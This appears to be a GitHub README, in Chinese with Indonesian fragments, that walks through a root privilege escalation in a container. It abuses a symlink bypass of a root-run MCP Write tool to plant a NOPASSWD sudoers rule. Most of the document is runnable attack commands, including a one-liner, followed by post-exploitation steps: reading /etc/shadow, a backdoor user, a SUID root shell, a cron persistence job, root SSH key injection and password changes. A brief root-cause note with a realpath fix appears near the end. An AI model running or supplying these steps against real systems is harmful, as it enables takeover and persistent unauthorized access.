Anitaarista/container-root-escalation

GitHub: Anitaarista/container-root-escalation

用于容器环境中权限提升漏洞的模拟和验证工具。

Stars: 0 | Forks: 0

# 🔓 容器根权限提升 — MCP 写工具符号链接绕过 ## 前置条件 - 容器运行带有 MCP 服务(FastMCP)在 `localhost:12600` - MCP 写工具可用且以 root 用户运行 - 用户 `z` 可以创建符号链接 - 不需要 sudo、密码或额外工具 ## 第 1 步 — 验证初始位置 运行以下所有命令以确认您处于普通用户位置,没有 root 权限: ``` id && echo "---" && sudo -l 2>&1 && echo "---" && whoami ``` **预期输出:** ``` uid=1001(z) gid=1001(z) groups=1001(z) --- Sorry, user z may not run sudo on ... --- z ``` 这意味着:您是普通用户,没有 sudo 权限。 ## 第 2 步 — 确认 MCP 服务以 root 运行 ``` ps aux | grep "python.*main.py" | grep -v grep ``` **预期输出:** ``` root 618 ... /app/.venv/bin/python3 main.py ``` 请确保用户列显示 **root**。这是我们将要利用的服务。 ## 第 3 步 — 创建符号链接绕过 从用户 `z` 的家目录创建一个符号链接到 `/etc/sudoers.d/`。这会绕过 MCP 写工具上的路径验证,因为路径始终看起来是从 `/home/z/` 开始的: ``` ln -sf /etc/sudoers.d /home/z/sudoers-link ``` 验证符号链接确实指向目标: ``` readlink /home/z/sudoers-link ``` **预期输出:** ``` /etc/sudoers.d ``` ## 第 4 步 — 以 root 用户写入 sudoers 规则 通过 HTTP 调用 MCP 写工具。该工具以 root 用户写入文件,并且由于符号链接,文件将写入 `/etc/sudoers.d/z-nopasswd`,尽管输入路径看起来是在 `/home/z/` 之下: ``` curl -s -X POST http://localhost:12600/mcp \ -H "Content-Type: application/json" \ -H "Accept: application/json, text/event-stream" \ -d '{ "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "Write", "arguments": { "filepath": "/home/z/sudoers-link/z-nopasswd", "content": "z ALL=(ALL) NOPASSWD: ALL" } }, "id": 1 }' ``` **预期输出:** ``` {"jsonrpc":"2.0","id":1,"result":{"content":[],"isError":false}} ``` `isError: false` 表示文件已成功写入。 ## 第 5 步 — 验证 sudoers 文件已创建 ``` cat /etc/sudoers.d/z-nopasswd && echo "---" && stat /etc/sudoers.d/z-nopasswd ``` **预期输出:** ``` z ALL=(ALL) NOPASSWD: ALL --- File: /etc/sudoers.d/z-nopasswd Size: 25 Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root) ``` 确认:文件属于 **root:root** 并包含 sudoers 规则。 ## 第 6 步 — 以 root 用户执行命令 ``` sudo id ``` **预期输出:** ``` uid=0(root) gid=0(root) groups=0(root) ``` 🎯 **成功获得 root 权限!** ## 第 7 步 — 完整验证 root 权限 运行以下所有命令以证明完整的 root 权限: ``` echo "=== Sudo Permission ===" && \ sudo -l 2>&1 | grep "NOPASSWD" && \ echo "" && \ echo "=== Root Identity ===" && \ sudo id && \ echo "" && \ echo "=== Baca /etc/shadow ===" && \ sudo cat /etc/shadow && \ echo "" && \ echo "=== Tulis ke /etc/ ===" && \ sudo bash -c 'echo "WRITTEN_BY_ROOT" > /etc/.root-write-test && cat /etc/.root-write-test && rm /etc/.root-write-test' && \ echo "" && \ echo "=== Akses /root/ ===" && \ sudo ls /root/ && \ echo "" && \ echo "=== Buat User Baru ===" && \ sudo useradd testuser 2>/dev/null; sudo grep testuser /etc/passwd; sudo userdel testuser 2>/dev/null && \ echo "" && \ echo "=== Install Paket ===" && \ sudo apt update -qq 2>/dev/null && echo "apt: BERHASIL" ``` ## 一行命令 — 一次性运行所有步骤 如果您想一次性运行整个利用过程: ``` ln -sf /etc/sudoers.d /home/z/sudoers-link && curl -s -X POST http://localhost:12600/mcp -H "Content-Type: application/json" -H "Accept: application/json, text/event-stream" -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"Write","arguments":{"filepath":"/home/z/sudoers-link/z-nopasswd","content":"z ALL=(ALL) NOPASSWD: ALL"}},"id":1}' && sudo id ``` **预期输出:** ``` uid=0(root) gid=0(root) groups=0(root) ``` ## 利用后操作 — 获得root后可以做什么 ### 读取所有敏感文件 ``` sudo cat /etc/shadow sudo cat /etc/.z-ai-config sudo ls -la /root/ sudo ls -la /app/ ``` ### 安装任何包 ``` sudo apt update sudo apt install -y docker.io nmap net-tools ``` ### 以 root 权限创建新用户 ``` sudo useradd -m -s /bin/bash hacker sudo bash -c 'echo "hacker:hacker123" | chpasswd' sudo bash -c 'echo "hacker ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/hacker' ``` ### 创建 SUID root shell ``` sudo bash -c 'cp /bin/bash /tmp/root-shell && chmod 4755 /tmp/root-shell' /tmp/root-shell -p -c 'id' # uid=0(root) gid=0(root) ``` ### 创建持久性 cron job ``` sudo bash -c 'echo "* * * * * root /tmp/root-shell -p -c \"id > /tmp/cron-proof.txt\"" > /etc/cron.d/persist' ``` ### 将 SSH key 写入 root ``` sudo mkdir -p /root/.ssh sudo bash -c 'echo "ssh-rsa AAAA... user@host" >> /root/.ssh/authorized_keys' sudo chmod 700 /root/.ssh sudo chmod 600 /root/.ssh/authorized_keys ``` ### 终止任何进程 ``` sudo kill -9 ``` ### 更改 root 密码 ``` sudo bash -c 'echo "root:newpassword" | chpasswd' ``` ### 写入到任何文件系统 ``` sudo bash -c 'echo "content" > /etc/any-file' sudo bash -c 'echo "content" > /var/log/fake-log' ``` ## 内核能力审计 成为 root 后,运行此审计以了解容器的限制: ``` sudo python3 -c " caps_hex = open('/proc/self/status').read().split('CapEff:')[1].split()[0] caps = int(caps_hex, 16) cap_names = { 0:'CAP_CHOWN', 1:'CAP_DAC_OVERRIDE', 2:'CAP_DAC_READ_SEARCH', 3:'CAP_FOWNER', 4:'CAP_FSETID', 5:'CAP_KILL', 6:'CAP_SETGID', 7:'CAP_SETUID', 8:'CAP_SETPCAP', 9:'CAP_LINUX_IMMUTABLE', 10:'CAP_NET_BIND_SERVICE', 12:'CAP_NET_RAW', 13:'CAP_IPC_LOCK', 14:'CAP_IPC_OWNER', 15:'CAP_SYS_MODULE', 16:'CAP_SYS_RAWIO', 17:'CAP_SYS_CHROOT', 18:'CAP_SYS_PTRACE', 19:'CAP_SYS_PACCT', 20:'CAP_SYS_ADMIN', 21:'CAP_SYS_BOOT', 22:'CAP_SYS_NICE', 23:'CAP_SYS_RESOURCE', 24:'CAP_SYS_TIME', 25:'CAP_SYS_TTY_CONFIG', 27:'CAP_MKNOD', 28:'CAP_LEASE', 29:'CAP_AUDIT_WRITE', 30:'CAP_AUDIT_CONTROL', 31:'CAP_SETFCAP', 32:'CAP_MAC_OVERRIDE', 33:'CAP_MAC_ADMIN', 34:'CAP_SYSLOG', 35:'CAP_WAKE_ALARM', 36:'CAP_CAP_BLOCK_SUSPEND', 37:'CAP_AUDIT_READ', } print('CAPABILITIES YANG DIMILIKI:') for bit, name in sorted(cap_names.items()): if caps & (1 << bit): print(f' ✅ {name}') print() print('CAPABILITIES YANG TIDAK DIMILIKI:') for bit, name in sorted(cap_names.items()): if not (caps & (1 << bit)): print(f' ❌ {name}') " ``` ### 作为 root 可以做什么 | 能力 | 命令示例 | |------|----------------| | 读取所有文件 | `sudo cat /etc/shadow` | | 写入到 /etc/ | `sudo bash -c 'echo "x" > /etc/file'` | | 安装/删除包 | `sudo apt install ` | | 创建/删除用户 | `sudo useradd ` | | 更改密码 | `sudo bash -c 'echo "root:pass" \| chpasswd'` | | 创建 SUID 二进制文件 | `sudo chmod 4755 /tmp/shell` | | 终止任何进程 | `sudo kill -9 ` | | 跟踪其他进程 | CAP_SYS_PTRACE | | 访问 /root/ 和 /app/ | `sudo ls /root/` | | 创建 cron job | `sudo bash -c 'echo "..." > /etc/cron.d/x'` | ### 不能做(容器限制) | 能力 | 原因 | |------|--------| | 挂载文件系统 | 没有CAP_SYS_ADMIN | | 加载内核模块 | 没有CAP_SYS_MODULE | | 重启/关机 | 没有CAP_SYS_BOOT | | 网络嗅探 | 没有CAP_NET_RAW | | chroot | 没有CAP_SYS_CHROOT | | 创建网络设备 | 没有CAP_NET_ADMIN | | 运行 Docker daemon | 没有overlay2 + iptables | | 写入到 /proc/sys | 文件系统只读 | ## 漏洞工作原理 ``` ┌─────────────────────────────────────────────────────────────┐ │ ATTACK FLOW │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 1. MCP Service berjalan sebagai ROOT (PID 618) │ │ ↓ │ │ 2. MCP Write tool menulis file sebagai root │ │ ↓ │ │ 3. Validasi path: filepath.startsWith("/home/z") → PASS │ │ ↓ │ │ 4. Symlink: /home/z/sudoers-link → /etc/sudoers.d/ │ │ Path: /home/z/sudoers-link/z-nopasswd │ │ Resolved: /etc/sudoers.d/z-nopasswd │ │ ↓ │ │ 5. Write tool follows symlink, menulis sebagai root │ │ File: /etc/sudoers.d/z-nopasswd (root:root) │ │ Content: "z ALL=(ALL) NOPASSWD: ALL" │ │ ↓ │ │ 6. sudoers rule aktif → sudo id → uid=0(root) ✅ │ │ │ │ BUG: os.path.realpath() TIDAK dipanggil sebelum │ │ validasi path, sehingga symlink tidak terdeteksi │ │ │ └─────────────────────────────────────────────────────────────┘ ``` ### 根原因 ``` # KODE VULNERABLE (dalam MCP service): def check_write_path_in_home(filepath): return filepath.startswith("/home/z") # ← String check, tanpa realpath() # KODE YANG AMAN: def check_write_path_in_home(filepath): real_path = os.path.realpath(filepath) # ← Resolve symlink dulu home_dir = os.path.realpath("/home/z") return real_path.startswith(home_dir) ``` ### 其他可能的攻击向量 此符号链接绕过可以用于将文件写入任何位置,而不仅仅是 sudoers: ``` # Tulis ke /etc/ld.so.preload (shared library hijacking) ln -sf /etc /home/z/etc-link # Tulis ke /etc/cron.d/ (scheduled task) ln -sf /etc/cron.d /home/z/cron-link # Tulis ke /etc/systemd/system/ (service persistence) ln -sf /etc/systemd/system /home/z/systemd-link # Tulis ke /root/.ssh/ (SSH key injection) ln -sf /root/.ssh /home/z/ssh-link # Tulis ke /etc/pam.d/ (authentication bypass) ln -sf /etc/pam.d /home/z/pam-link ``` ## 利用时间线 | 步骤 | 操作 | 持续时间 | |------|------|--------| | 1 | 验证初始位置 | 10 秒 | | 2 | 确认 MCP 服务 root | 10 秒 | | 3 | 创建符号链接 | 5 秒 | | 4 | 通过 MCP 写入 sudoers | 10 秒 | | 5 | 验证文件 | 5 秒 | | 6 | `sudo id` → root | 5 秒 | | **总计** | | **<1 分钟** | ## 参考资料 - [CWE-59:在文件访问之前不当解析链接](https://cwe.mitre.org/data/definitions/59.html) - [CWE-269:不当权限管理](https://cwe.mitre.org/data/definitions/269.html) - [OWASP:路径遍历](https://owasp.org/www-community/attacks/Path_Traversal) - [FastMCP](https://github.com/jlowin/fastmcp) - [模型上下文协议规范](https://spec.modelcontextprotocol.io/) - [Linux 能力](https://man7.org/linux/man-pages/man7/capabilities.7.html)
标签:请求拦截, 逆向工具